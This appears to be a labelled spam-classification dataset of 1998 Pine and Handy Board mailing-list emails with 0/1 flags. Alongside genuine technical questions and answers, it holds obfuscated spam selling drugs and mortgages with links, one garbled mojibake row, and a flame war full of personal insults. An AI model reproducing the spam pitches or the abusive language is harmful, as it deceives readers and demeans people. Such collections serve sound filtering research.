Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. We give you the issue! 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Thank you. > > Matt Mendlik That message will disappear at the beginning of February. ------------------------------------------------------------ Stefan Kramer skramer@cac.washington.edu PINE Information Center http://www.washington.edu/pine/ Computing & Communications University of Washington ------------------------------------------------------------",0,1 vandeweg@parlance-ncs.com,ValTres ,"Wed, 14 Jan 1998 16:59:38 -0500",Re: 8 bits A/D bus,"I am building a somewhat similar circuit (a high-current h-bridge for the handy board), although I only need to read the data lines. However, the same approach will work for writing to the bus. My circuit lives on a board which plugs in between the LCD and the main board. That is, it has two male header strips on the bottom to plug into the CPU board, and it has one female header strip on top to accomodate the LCD board. I have wired the pins on the leftmost header straight through so that the LCD can work as before. For reading the data bus, I have also attached the D0-D7 lines to a 74HC374. The Y4 line controls the clock to this chip, which lets me write a word to the chip by writing to address 0x6000. For writing to the HB bus, you can hang a 74HC244 on the data lines, and run the Y5 line to the /G pins (pin numbers 1 and 19). That will allow you to read a word from that chip by reading from 0x6000. For examples, look at the schematics for the Handy Board's motor driver and digital input circuits; they work the same way, using lines Y6 and Y7, respectively. Fred did a good job designing the Handy Board to be expandable; these changes are relatively simple, and give you a lot of flexibility. I can't wait to finish by own circuit and try it out. Good luck, Mike Vande Weghe vandeweg@alum.mit.edu ",0,0 """Fred G. Martin"" ",ValTres ,"Wed, 14 Jan 1998 18:07:09 -0500",Re: 8 bits A/D bus ,"Please read Appendix B of the 6.270 Robot Builders Guide. This explains how to interface latches with the Handy Board. See http://lcs.www.media.mit.edu/groups/el/projects/handy-board/techdocs/ Fred > Hello, > I've bought a handy board, and try to build a card to enserve two motors. > On that card I have a IC chip (HP hctl 1100) that needs to be link to a 8 bit s > Adress/data bus in both reading and writing modes. My problem is where to pic k > such a bus on the board. So my two questions are: > - Is it possible to connect to D0..D7 bus (knowing I want to keep the screen > working as it's made for) to pick up informations without affecting the > screen > functions? In that case do I need something as a latch to differentiate th e > way > for the informations to go? > - Otherwise, how could I pick 8 I/O port on the board? > > Please, help me: It makes me stay awaken all nights!! > Thanks in advance. > H.Tressel > ",0,1 Shoeless in San Jose ,Pine Discussion Forum ,"Wed, 14 Jan 1998 18:24:33 -0800",Re: hello.,"On Wed, 14 Jan 1998, Stefan Kramer wrote: > On Tue, 13 Jan 1998, Matt Mendlik wrote: > > > Dear Sir or Madam, > > and could you please remove it? Thank you. > > That message will disappear at the beginning of February. It may be removed from there, but it may still be found during a search using Dejanews. I've found archives that I've mailed to the list from well over a year ago. Greg",0,0 Guglielmo Cascio ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 14 Jan 1998 16:15:41 -0700",Re: your VALtUwM,"Hi Look, this information might be pretty interesting for you P V V C A L X r I A I m e a o A L A b v n z G I L i i a a R U I e t x c A M S n ra http://www.embasarokal.com Fall Moon! Dark be the land! Hush! Hush! Oak, Ash, and Thorn! Hushed be all water, till dawn is at hand! Well, Merry People! said Bilbo looking out. What time by the moon is this? Your lullaby would waken a drunken goblin! Yet I thank you. And your snores would waken a stone dragon  yet we thank you, they ",1,1 �� ���� ,handyboard@media.mit.edu,"Fri, 26 Sep 1930 18:16:25 +0000",��õ���� �ѽð��ȿ� �����Ա޵˴ϴ� �����ھ���,�������� �������� �������� ��   ���� ���������� ������ ������������ ������ �������� ���� ���� ���������� ���� ���� ���������� ������������ ������ ������������ ���� ��������������  ���� �������� ����    ������ ����������,1,1 Rajat Bhandari ,Pine Discussion Forum ,"Thu, 15 Jan 1998 12:47:13 +0530",QUERRY,"SIR/MAM, I WOULD LIKE TO KNOW IF IT IS OSSIBLE TO LOCK ONE PERTICULAR FOLDER.IF NOT PLEASE SUGGEST SOME OTHER METHOD SO THAT ONE FOLDER IS INACCESSIBLE TO OTHER USERS. THANKING YOU, RAJAT BHANDARI ",0,0 Geoff Reed ,Pine Discussion Forum ,"Wed, 14 Jan 1998 23:35:34 -0800",Re: hello.,"Paranoid bugger, ain't he... (Matt Mendlik) At 04:33 PM 1/14/98 -0800, you wrote: >On Tue, 13 Jan 1998, Matt Mendlik wrote: > >> Message-ID: >> From: Matt Mendlik >> To: Pine Discussion Forum >> Date: Tue, 13 Jan 1998 16:04:14 -0500 (EST) >> Subject: hello. >> >> Dear Sir or Madam, >> At the following web address, >> http://www.washington.edu/pine/pine-info/96.05/msg00536.html >> is a message from me with my address and full name printed. Could you >> tell me why it is there, > >That's because you sent that message to the pine-info mailing list, which >is archived on our WWW site. > >> and could you please remove it? Thank you. >> >> Matt Mendlik > >That message will disappear at the beginning of February. > > ------------------------------------------------------------ > Stefan Kramer skramer@cac.washington.edu > PINE Information Center http://www.washington.edu/pine/ > Computing & Communications University of Washington > ------------------------------------------------------------ > > > > >",0,1 Norbert Koch ,Pine Discussion Forum ,"Thu, 15 Jan 1998 08:56:05 +0100",Re: QUERRY,">>>On Thu, 15 Jan 1998 12:47:13 +0530 (IST), Rajat Bhandari said: RB> SIR/MAM, I WOULD LIKE TO KNOW IF IT IS OSSIBLE TO LOCK ONE RB> PERTICULAR FOLDER.IF NOT PLEASE SUGGEST SOME OTHER METHOD SO THAT RB> ONE FOLDER IS INACCESSIBLE TO OTHER USERS. THANKING YOU, RAJAT RB> BHANDARI The way I usually prevent others from reading my mail is to set the permissions correctly for the directory containing my folder collections. On un*x systems: chmod 0700 $HOME/mail (assuming the default) On some windows systems via explorer -> permissions, i guess Well, hth, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 L69Skater ,Pine Discussion Forum ,"Thu, 15 Jan 1998 05:05:07 -0500",how do i view GIF files,"I have got GIF file pics but i cant seem to look at them do you know how i cant look at them and if i need software, where i can get it. thanks L69Skater@aol.com ",0,0 Norbert Koch ,Pine Discussion Forum ,"Thu, 15 Jan 1998 12:59:51 +0100",Re: how do i view GIF files,">>>On Thu, 15 Jan 1998 05:05:07 EST, L69Skater said: L> I have got GIF file pics but i cant seem to look at them do you L> know how i cant look at them and if i need software, where i can L> get it. thanks L69Skater@aol.com *arg* afaik pine gives you some hints, for example v(iew) and s(ave) the pic. Now, for un*x systems you can use something like xv to display the file. If you have a windows like machine, try one of the paint tools that come along (or use netscape). About the use of spell checkers in mails have a look in the thread 'help!!!!!!!!!!' and related subjects. l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Cristina Lillie ,"mailarch+pine-info@groupms.cac.washington.edu, ola@groupms.cac.washington.edu, ben@groupms.cac.washington.edu, isaac@groupms.cac.washington.edu, maryellen@groupms.cac.washington.edu, aisha@groupms.cac.washington.edu, craig@groupms.cac.washington.edu, frankie@groupms.cac.washington.edu","Thu, 15 Jan 1998 00:29:45 -0800","SAVE 82%: VIAGR*, AMBIE*, CIALI*, XANA*, RIVOTRI*, LEVITR*, CIPRO, MERIDI*, CELEBRE*, VALIU* nothing"," Quality Meds Selling At Cheeap We dont keep ur record (not even your name) You just pay & we ship, No Question form to fill We ship to all countries Viagr*, Ambie*, Ciali*, Xana*, Rivotri*, Levitr*, Cipro, Meridi*, Celebre*, Valiu*, Zoloft & Many More Meds force http://www.geocities.com/aXC7fGphXf7/ (Click this link to save 80%) filled east turning. very tying shook too break justice, matter bread familiar pie advantage was. raise goodbye hat latter. ",1,1 Launo Lykins ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 15 Jan 1998 01:39:00 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! If you OW p N real e k st y at r e and want I x MME l DIA g TE ca z sh to sp b en a d ANY way you like, or simply wish to LO x WER your monthly p s ayme q nts by a third or more, here are the de q als we have T k ODA l Y : $ 4 r 88 , 000 at a 3 , 6 d 7% f u ixed - rat d e $ 3 o 72 , 000 at a 3 , y 90% va z riab p le - rat d e $ 49 z 2 , 000 at a 3 j , 21% inte d res e t - only $ 2 j 48 , 000 at a 3 , x 36% fi c xed - rat a e $ 19 c 8 , 000 at a 3 , x 55% var r iable - ra b te H l urry, when these deaI o s are gone, they are gone ! Don't worry about app q rova r l, your cr d edi x t will not dis o qual z ify you ! Vi t si o t our l site Sincerely, Launo Lykins Ap i pr h oval Manager",1,1 """Everett, Marty"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 11:43:15 -0500",pine 4.0 preview," Is there a PINE 4.0 beta out that I can look at the see if it fixes an imap problem that I have. If so how do I get source to compile? Thanks Marty ",0,0 Speaking Freely ,Pine Discussion Forum ,"Thu, 15 Jan 1998 10:49:11 -0600",Fw: help!!!!!!!!!!!!!!!!!!,"This one goes out to Mr. Robin, King of all knowitalls. -----Original Message----- From: Robin S. Socha To: Pine Discussion Forum Date: Wednesday, January 14, 1998 4:19 PM Subject: Re: Fw: help!!!!!!!!!!!!!!!!!! >On Wed, 14 Jan 1998, Speaking Freely wrote: > >> She is right. If this flaming must go on, why not direct the flames at the >> person who deserves them rather than clutter up the group? > >Why not? Messages like the OP's have become a common trait here. This is >not a Good Thing (tm). It does not acutally ""clutter up the group"", >either. This list was supposed to be for technical problems. Well, that >doesn't seem to work. So it might be used as a forum where one can, well, >do some educational stuff. Now, the egotists come out. Never realized that your endless babbling was considered educational. > >> I must say though that Colin of all people on the list seems to try to get >> reactions like this. > >This is positively incorrect. It's also demeaning my articles. Shame on >you. As a matter of fact, noone here is trying to get even more stoopid >lusers on the net. On the contrary. Colin was making a very valid point >with his article. It's not nice to hop into a mailing list, asking for >information that is at your very fingertips, and it's suicidal to flame >people that offer you free help. > >> His attitude is relatively condescending when responding to people he >> assumes to be less technically endowed. Sorry Robin. You are actually the most condescending of all, and for that shame on you! I didn't mean to try to take away your crown and give it to colin. Do you have a real job by the way, or is your job to monitor this list during the times when your hardware isn't falling apart? Is being a student all that you do aside from your *contributions* to this list? > >Whiner. And it's *not* condescension you're Actually Robin, I didn't realize there was a tone of whining in my statement. I was just offering objective input, which you felt the adolecent need to twist. Aren't you really the whiner? experiencing here, but mere >frustration, because ""we"" are becoming a minority - ""we"" meaning people >that know what they're doing because we did in fact spend some time >reading the documentation. You know, the pine docs are rather well >written, and it doesn't take much time at all to read them. Personally, I >cannot even begin to understand how one could not be able to download a >file when all the necessary steps are explained in the docs _and_ probably >a handout by the young lady's university. This point is well put! Why don't you just reply to people with this rather than belittle them? > >> If he were to cool it down a little on his tone, these kinds of people >> problems wouldn't be so widespread within the group. > >No. If he were, this would be the most boring place on the entire >internet, because there's no input whatsoever from the kind and gentle >people like Ray Cummins and Annelise Undersome. Indeed, and I am sure that you are one who wants to see Sadam Hussain conquer, because of course, without excitement from dictators like him, the world would be a dull place. Maybe you should should try being kind and gentle, people would react in a much more positive way. I certainly would have. There is, however, input >from people like Colin. Take it or leave it - it's free and it's up to him >if he want's to flame some luser for violation of the netiquette or not. Your opinion on who is a looser is clearly misguided, and less than subjective. As for Mr. Colin, his advice is what it is....Free. The old cliche about getting what you pay for has never been more applicable. > >> P.S. I apologize for assuming Colin is male if they are female. > >Geez, get a life... PC is dead and we've come to bury it. Oh Yeah moron, I forgot, being polite is not what you have been complaining about, it is all about netiquette isn't it. Of course, there is no corolation between nettiquette, politeness, and PC, or is there? You must be at least 18 years old Robin aren't you? By the way, this comment was included because after being on this list for quite some time, it wasn't until yesterday that I realized you were not a female. Or should I say bitch, because that is how you come across at every point you enter group conversation. > >Robin SWM > I have a small piece of advice for Robin SWM. Without endusers, there is no reason for you. Without developing software/operating systems that others can use easily, Bill Gateus will succeed in killing all efforts to battle his OS's. Fix the www.enemy.org link you have under your Microsoft link on your web site. It's amazing to me that someone who professes their intelligence and education as you do can act like such a child. don't expect further posts from me regarding this, as it has already wasted more time than I have to offer.",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 10:43:57 -0000",Re: help!!!!!!!!!!!!!!!!!!,"So tell me please, I'm curious....What have *you* contributed to the list lately? What knowledge have *you* passed on to newcomers? What contributions have you made to anyone's understanding of the email program known as Pine? Or is your coontribution confined to commenting acerbically on the responses of those who *do* contribute, *do* flame when needed, and *do* add to the otherwise bland nature of a technically oriented mailing list You entitle yourself ""Speaking Freely"" as well you might. Think for a moment about yur reaction to others who IN FACT speak.....Freely. I'll treat your comments more seriously when you render some assistance, as oposed to sitting in the gallery booing the players on the stage. If in doubt, read the above once again, and keep doing so until you understand that unless you are contributing or learning, you have NO place here! -Colin >This one goes out to Mr. Robin, King of all knowitalls. > > >-----Original Message----- >From: Robin S. Socha >To: Pine Discussion Forum >Date: Wednesday, January 14, 1998 4:19 PM >Subject: Re: Fw: help!!!!!!!!!!!!!!!!!! > > >>On Wed, 14 Jan 1998, Speaking Freely wrote: >> >>> She is right. If this flaming must go on, why not direct the flames at >the >>> person who deserves them rather than clutter up the group? >> >>Why not? Messages like the OP's have become a common trait here. This is >>not a Good Thing (tm). It does not acutally ""clutter up the group"", >>either. This list was supposed to be for technical problems. Well, that >>doesn't seem to work. So it might be used as a forum where one can, well, >>do some educational stuff. > > >Now, the egotists come out. Never realized that your endless babbling was >considered educational. > > >> >>> I must say though that Colin of all people on the list seems to try to >get >>> reactions like this. >> >>This is positively incorrect. It's also demeaning my articles. Shame on >>you. As a matter of fact, noone here is trying to get even more stoopid >>lusers on the net. On the contrary. Colin was making a very valid point >>with his article. It's not nice to hop into a mailing list, asking for >>information that is at your very fingertips, and it's suicidal to flame >>people that offer you free help. >> >>> His attitude is relatively condescending when responding to people he >>> assumes to be less technically endowed. > > > >Sorry Robin. You are actually the most condescending of all, and for that >shame on you! I didn't mean to try to take away your crown and give it to >colin. Do you have a real job by the way, or is your job to monitor this >list during the times when your hardware isn't falling apart? Is being a >student all that you do aside from your *contributions* to this list? > > > >> >>Whiner. And it's *not* condescension you're > >Actually Robin, I didn't realize there was a tone of whining in my >statement. I was just offering objective input, which you felt the >adolecent need to twist. Aren't you really the whiner? > > >experiencing here, but mere >>frustration, because ""we"" are becoming a minority - ""we"" meaning people >>that know what they're doing because we did in fact spend some time >>reading the documentation. You know, the pine docs are rather well >>written, and it doesn't take much time at all to read them. Personally, I >>cannot even begin to understand how one could not be able to download a >>file when all the necessary steps are explained in the docs _and_ probably >>a handout by the young lady's university. > > >This point is well put! Why don't you just reply to people with this rather >than belittle them? > > >> >>> If he were to cool it down a little on his tone, these kinds of people >>> problems wouldn't be so widespread within the group. >> >>No. If he were, this would be the most boring place on the entire >>internet, because there's no input whatsoever from the kind and gentle >>people like Ray Cummins and Annelise Undersome. > > >Indeed, and I am sure that you are one who wants to see Sadam Hussain >conquer, because of course, without excitement from dictators like him, the >world would be a dull place. Maybe you should should try being kind and >gentle, people would react in a much more positive way. I certainly would >have. > > >There is, however, input >>from people like Colin. Take it or leave it - it's free and it's up to him >>if he want's to flame some luser for violation of the netiquette or not. > > >Your opinion on who is a looser is clearly misguided, and less than >subjective. As for Mr. Colin, his advice is what it is....Free. The old >cliche about getting what you pay for has never been more applicable. > >> >>> P.S. I apologize for assuming Colin is male if they are female. >> >>Geez, get a life... PC is dead and we've come to bury it. > > >Oh Yeah moron, I forgot, being polite is not what you have been complaining >about, it is all about netiquette isn't it. Of course, there is no >corolation between nettiquette, politeness, and PC, or is there? You must >be at least 18 years old Robin aren't you? By the way, this comment was >included because after being on this list for quite some time, it wasn't >until yesterday that I realized you were not a female. Or should I say >bitch, because that is how you come across at every point you enter group >conversation. > >> >>Robin SWM >> > > >I have a small piece of advice for Robin SWM. Without endusers, there is >no reason for you. Without developing software/operating systems that >others can use easily, Bill Gateus will succeed in killing all efforts to >battle his OS's. Fix the www.enemy.org link you have under your Microsoft >link on your web site. > >It's amazing to me that someone who professes their intelligence and >education as you do can act like such a child. > >don't expect further posts from me regarding this, as it has already wasted >more time than I have to offer. > > >",0,0 Delphine Prinet ,Pine Discussion Forum ,"Thu, 15 Jan 1998 11:46:51 -0700",question about pine,"can you please tell me how to locate someone's email adress using pine? thank you in advance. ",0,0 Drachen ,Pine Discussion Forum ,"Thu, 15 Jan 1998 11:06:46 -0800",Re: question about pine,"You can't, exactly. Try using a web browser (lynx if you're on a telnet or dial in un*x account or netscape or internet explorer) and going to http://www.whowhere.com another place to try would be http://www.yahoo.com and then click on either people search or white pages, I don't remember which one it is there. Vinnie On Thu, 15 Jan 1998, Delphine Prinet wrote: > can you please tell me how to locate someone's email adress using pine? > thank you in advance. > > >",0,1 """Colin J. Raven"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 11:08:14 -0000",Re: question about pine,"Hmmm, using Pine you couldn't period. It won't ""search"". If you are looking for an email address locally, i.e. on campus, there may be other means to accomplish that. What you could do though, is with a web browser (using lynx if you want to stay within a UNIX environment) is go to http://www.bigfoot.com, or http://www.switchboard.com and search for the person's email address by their name, and (if you know) state. Depending on how new the person's email address is, you may well be able to locate it via these search mediums. It is possible that you won't get any hits if the address is really recent. Try it anyway to see if you get any results. Good Luck with your search! -Colin. -------------------------------------- Colin J. Raven Network & Systems Administrator HDS Lab, Inc. Costa Mesa CA | Harrison NY -----Original Message----- From: Delphine Prinet To: Pine Discussion Forum Date: Thursday, January 15, 1998 6:54 PM Subject: question about pine >can you please tell me how to locate someone's email adress using pine? >thank you in advance. > >",0,1 Roza Tillman ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 15 Jan 1998 05:26:32 -0700",Re: uyyut news,"D a ear Home Ow z ne k r , Your cr j edi c t doesn't matter to us ! If you OW a N real e u st f at p e and want I r MME w DIAT o E ca f sh to s h pen d d ANY way you like, or simply wish to L k OWER your monthly pa r yment i s by a third or more, here are the deal h s we have T f OD c AY : $ 48 v 8 , 000 at a 3 , 6 g 7% f q ixed - rat d e $ 3 r 72 , 000 at a 3 d , 90% va m riab t le - rat m e $ 4 i 92 , 000 at a 3 e , 21% int z eres i t - only $ 24 e 8 , 000 at a 3 , r 36% f h ixed - rat m e $ 1 c 98 , 000 at a 3 v , 55% vari v able - ra v te Hurr l y, when these deaI k s are gone, they are gone ! Don't worry about ap i prov g al, your c z red u it will not d k isqu e alify you ! Vi o si q t our s s ite Sincerely, Roza Tillman Ap g prov n al Manager",1,1 Vicky Kauffman ,handyboard ,"Thu, 15 Jan 1998 10:48:42 -0800",using handyboard with vernier ULI,"Hello from New Mexico I'm currently teaching a robotics class at the high school level and we have been exploring the possibility of creating a rover that will eventually be independent and have enough AI to make decisions that will get it through the halls of the school, eventually getting to our front door. This is all on one level and an occasional slight ramp. So far we have programmed in C++ and with a laptop and the Vernier ULI interface attached to a laptop, we communicate using a motion detectorand the computer sends a message to the screen to go a certain direction (north,east,south ,west) but the person has to do the moving of the cart. The Handyboard seemed like a perfect item to take the place of the laptop. It should do the job of moving around in the halls. So far my students have succeeded in getting the handyboard to turn on the motors and respond to small bits of IC code. We have C++ code in the laptop and assembly code to communicate with the ULI from the laptop, and wonder what adjustments we will have to make to create an independent rover that just uses the handyboard and ULI to do the trick. thanks for any input you can share. Vicky kauffman kauffman@cec1.aps.edu -- ",0,0 Geoff Reed ,Pine Discussion Forum ,"Thu, 15 Jan 1998 12:50:15 -0800",Re: help!!!!!!!!!!!!!!!!!!,">On Wed, 14 Jan 1998, Speaking Freely wrote: -snip- It's amazing to me that someone who professes their intelligence and education as you do can act like such a child. don't expect further posts from me regarding this, as it has already wasted more time than I have to offer. --end snip-- Good thing we won't be hearing more from you on this subjest, at least if Robin and colin and others are coarse in their replies or flame someone, they have the COMMON COURTESY to use their REAL email addresses, rather than a fake email address that bounces.(heavy sarcasm mode on) It takes a really brave, intelligent person to critisize others from a fake email address. (heavy sarcasm node off) ",0,0 Todd Lindahl ,Pine Discussion Forum ,"Thu, 15 Jan 1998 15:04:21 -0600",Regarding html attachment," Where is the command in Pine to save a attachment in html format? I am not fimiliar with this e-mail package. Thank You ",0,0 David L Miller ,Pine Discussion Forum ,"Thu, 15 Jan 1998 13:24:29 -0800",Re: pine 4.0 preview,"On Thu, 15 Jan 1998, Everett, Marty wrote: > Is there a PINE 4.0 beta out that I can look at the see if it > fixes an imap problem that I have. If so how do I get source to compile? Sorry, not yet. What is the IMAP problem? -- David L. Miller | When the solution is simple, God Software Engineer, Pine Development Team | is answering. -- A. Einstein Box 354841, University of Washington | 4545 15th Ave NE, Seattle WA 98105, USA | Phone: (206)685-6240 FAX: (206)685-4045 |",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 23:26:18 +0100",Re: QUERRY,"On 15 Jan 1998, Norbert Koch wrote: > >>>On Thu, 15 Jan 1998 12:47:13 +0530 (IST), Rajat Bhandari said: > The way I usually prevent others from reading my mail is to set the > permissions correctly for the directory containing my folder > collections. > On un*x systems: chmod 0700 $HOME/mail (assuming the default) Ummm... no }:-> man bash, check for umask. > On some windows systems via explorer -> permissions, i guess Windows or explorer and system are contradictions in terms, Norbert. Robin - still pretty diskless :-(",0,0 Cesar Benitez ,handyboard@media.mit.edu,"Thu, 15 Jan 1998 10:42:50 -0800",Initialization Problemas. S.O.S.,"Hello Out there! We are a group of computer science students here in Universidad Simon Bolivar (Caracas, Venezuela). We are currently teaching a robotics course as we took it last trimester. We are having trouble initializing the handyboards. The IC software doesn't seem to recognize them, and when it does it prompts some errors like 99, 101 etc. We are trying to get the Pcode downloaded but nothing seems to work right. I'm open to as many answers as you can send me. It's very important, because we have to keep the course advancing. Thank to all of you. Cesar Benitez. Universidad Simon Bolivar Caracas - Venezuela ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 16 Jan 1998 00:28:36 +0100",Re: Fw: help!!!!!!!!!!!!!!!!!!," On Thu, 15 Jan 1998, Speaking Freely wrote: > >On Wed, 14 Jan 1998, Speaking Freely wrote: > >> She is right. If this flaming must go on, why not direct the flames at > >> the person who deserves them rather than clutter up the group? [if the pdf doesn't work as a forum for tex questions, we can do some educational stuff] > Now, the egotists come out. Never realized that your endless babbling was > considered educational. You don't need to, darling. Education is probably lost on you, anyway, since you haven't learnt to use a real name or a signature. > >> I must say though that Colin of all people on the list seems to try to > >> get reactions like this. > >This is positively incorrect. It's also demeaning my articles. Shame on > >you. As a matter of fact, noone here is trying to get even more stoopid > >lusers on the net. On the contrary. Colin was making a very valid point > >with his article. It's not nice to hop into a mailing list, asking for > >information that is at your very fingertips, and it's suicidal to flame > >people that offer you free help. > >> His attitude is relatively condescending when responding to people he > >> assumes to be less technically endowed. > Sorry Robin. You are actually the most condescending of all, and for that > shame on you! Sheeesh, you couldn't tell a smiley from a dishwasher until I threw it in your face, could you? > I didn't mean to try to take away your crown and give it to > Colin. Do you have a real job by the way, or is your job to monitor this > list during the times when your hardware isn't falling apart? Is being a > student all that you do aside from your *contributions* to this list? I'm a consultant for an international risk management agency. Any further questions, idiot? > >Whiner. And it's *not* condescension you're > Actually Robin, I didn't realize there was a tone of whining in my > statement. I was just offering objective input, which you felt the > adolecent need to twist. Aren't you really the whiner? Oh, dear... my, my... Ummm, would you mind if I said that you've got no clue? I haven't seen any input from you whatsoever. I've seen a lot from Colin. Any yes, you did in fact whine. I mean, what's your problem? You don't seem to know anything, otherwise you'd be helping. You have not been attacked, yet you feel you need to comment. You don't know Latin, yet you use the word ""objective"" without knowing what it acutally says. > >experiencing here, but mere > >frustration, because ""we"" are becoming a minority - ""we"" meaning people > >that know what they're doing because we did in fact spend some time > >reading the documentation. You know, the pine docs are rather well > >written, and it doesn't take much time at all to read them. Personally, I > >cannot even begin to understand how one could not be able to download a > >file when all the necessary steps are explained in the docs _and_ probably > >a handout by the young lady's university. > This point is well put! Why don't you just reply to people with this rather > than belittle them? I must really suck to be you. Listen, Dearoldmum, there's users and there's lusers. I would have told a user exactly that. In fact, I did. But Jennifer turned out to be a whiner. I don't like whiners. People that get a Terrormail account and Outlook Exploder 99 and come to this list and start whining that there is no Download Wizard or sm-tnf-converter and the like. This cannot be it. This is a technical forum (although right now it looks more like a kindergarten) and we still get a very high noise ratio. Ever wondered what the rest of the net is like? If I tell someone ""go read the documentation which you can pick up here and which was put there by the same wonderful people that made pine available for free"", I get some 5 f*cked up lusers like you telling me that RTFM is not a polite/valid/whatever answer. FUD. I don't need this crap. I help where I can, and that's that. If noone told people like Jennifer that the way they behave sucks and makes the net a lousy place to be, they wouldn't even know. I don't think they care, but I want them at least to know. Go figure. > >> If he were to cool it down a little on his tone, these kinds of people > >> problems wouldn't be so widespread within the group. > >No. If he were, this would be the most boring place on the entire > >internet, because there's no input whatsoever from the kind and gentle > >people like Ray Cummins and Annelise Undersome. > Indeed, and I am sure that you are one who wants to see Sadam Hussain > conquer, because of course, without excitement from dictators like him, the > world would be a dull place. This is a poor adoption of Goodwin's law, idiot. [x] get a life > Maybe you should should try being kind and gentle, I'm neither kind nor gentle. I'm not being paid for that. > people would react in a much more positive way. I certainly would have. My, this is making want to cry. Thank you, I really needed a moral boost from you. You made my day. > >There is, however, input from people like Colin. Take it or leave it - > >it's free and it's up to him if he want's to flame some luser for > >violation of the netiquette or not. > Your opinion on who is a looser is clearly misguided, and less than > subjective. I didn't say ""looser"". I said ""luser"". But you don't care, cause you joined the net in 97 and it's a really cool place where you can hang out and chat with many people who are all nice and gentle. Of course, I am misguided, of course my opinion is more than subjective. So? Were you trying to make some point by stating the obvious, Dearoldlamer? > As for Mr. Colin, his advice is what it is....Free. The old > cliche about getting what you pay for has never been more applicable. Hmmm... pico doesn't rot13 regions. Not good. Ok, let's put it this way: you're a rebel without a clue. You've apparently no idea of the technology you're using, otherwise I would have seen some input from you. But I haven't. Still you moan and whine and generally suck - big time. What's you goal in life? Become King Lackwit I ? People like Colin rule. People like you suck. Amazing how simple life really is, isn't it? > >> P.S. I apologize for assuming Colin is male if they are female. > >Geez, get a life... PC is dead and we've come to bury it. > Oh Yeah moron, I forgot, being polite is not what you have been complaining > about, it is all about netiquette isn't it. Of course, there is no > corolation between nettiquette, politeness, and PC, or is there? Partly. The netiquette is about getting along with other people in the absence of corporal punishment. PC is a communist tool for manipulating freedom of speech, putting loosers into positions they don't belong, and demeaning democracy in general. My M.A. thesis was about language manipulation by totalitarian regimes. PC is Goebbels reborn. No Goodwin here, just empirical findings. You loose. > You must be at least 18 years old Robin aren't you? By the way, this > comment was included because after being on this list for quite some time, > it wasn't until yesterday that I realized you were not a female. Or > should I say bitch, because that is how you come across at every point you > enter group conversation. >From people like you, I usually take this comment as a compliment. Thanks. Now go away, you're boring. > I have a small piece of advice for Robin SWM. Without endusers, there is > no reason for you. No, there isn't. If there weren't any, there would be no reason to improve Linux software. > Without developing software/operating systems that others can use > easily, Bill Gateus will succeed in killing all efforts to battle his > OS's. He's got more than one? What year is it at your place? Here in Germany, it's 1998 and there is no MS ""OS"" in existence. There's Dos and NT, both of which are no operating systems by Unix standards. > don't expect further posts from me regarding this, as it has already wasted > more time than I have to offer. Finally, some good news here from The Thing without a Name. Robin -- ~/.signature abducted by terrorists. ",0,0 Joseph Mays ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 15 Jan 1998 15:48:38 +0005",All products for your health!,"http://emnusv.dumbwolf.com/?88568587 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! 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When I get mails from user of MS Exchange or outlook and they have the edit setup to be ms word then I can get the email and read it but it has trash at the end. I have call exchange support and I was told that this was fixed in pine 4.0 here is the test of message the I got from exchange support. It seems that the people at Exchange support are wrong and I need to call and tell that. thanks Marty start FYI -----Original Message----- From: Christopher McKinney [SMTP:chrismc@microsoft.com] Sent: Thursday, January 15, 1998 11:13 AM To: 'gimps@waycoolpeople.org' Subject: Pine 4.0 release 2 ??? Hello, I am a support engineer for Microsoft that has a customer that is experiencing problems with the Pine 3.96 client running on a R6000 terminal. The problem exists using RTF format of Exchange messages to the Pine email system. The customer is interested in trying the Pine 4.0 email client to see if the problem still exists. There was a link on the page below, that says you can get it here, but the URL is no longer active. Do you know where I may find it now? Any help would be deeply appreciated. http://intern.telalink.net/suggestion_box/data/5.html Posted by John Wayne Gacy on July 29, 1997 at 22:39:22: for anyone who liked the features of Pine 1.0 (Linux97 or Slackware98)you can download Pine 4.0 preview release 2 which has most of the new features. I already have it and I've had no problems. * Get it here... Thanks, Chris Mckinney Microsoft Exchange Support Chrismc@microsoft.com 972.756.7973 > -----Original Message----- > From: David L Miller [SMTP:dlm@cac.washington.edu] > Sent: Thursday, January 15, 1998 4:24 PM > To: Pine Discussion Forum > Subject: Re: pine 4.0 preview > > > On Thu, 15 Jan 1998, Everett, Marty wrote: > > > Is there a PINE 4.0 beta out that I can look at the see if it > > fixes an imap problem that I have. If so how do I get source to > compile? > > Sorry, not yet. What is the IMAP problem? > > -- > David L. Miller | When the solution is > simple, God > Software Engineer, Pine Development Team | is answering. -- A. > Einstein > Box 354841, University of Washington | > 4545 15th Ave NE, Seattle WA 98105, USA | > Phone: (206)685-6240 FAX: (206)685-4045 |",0,1 Frederick ,Dernell ,"Fri, 16 Jan 1998 02:26:01 +0700",weird stuff,"Heya Dernell, Apologize i've been out of town but I just got ur message. I'm not sure how to inform you this but since you are not happy with your livelyhood. You might stop by here, www.andthankyouseeitnow.org/taw/. chopped be great into present are blocks, then laid down to start the walls. It was similarity, deeds layered and deference. up, with packing boxes used for doors and windows. Frederick ",1,0 """M.M.COLEMAN"" ",Pine Discussion Forum ,"Thu, 15 Jan 1998 20:53:44 -0600",mime format,"I received a e-mail and part of it is in mime format. I never heard of mime format. it does say its a bmp . I was told that this is a photo cool so how do I open it? I'm running windows 95. can I get some help here?? thank you ",0,0 Craig Hermann ,Handy Board list ,"Thu, 15 Jan 1998 20:58:36 -0500",Hooking up PA7,"I downloaded the 9600 baud serial driver that uses Digital input #9 or PA7 (I think). It 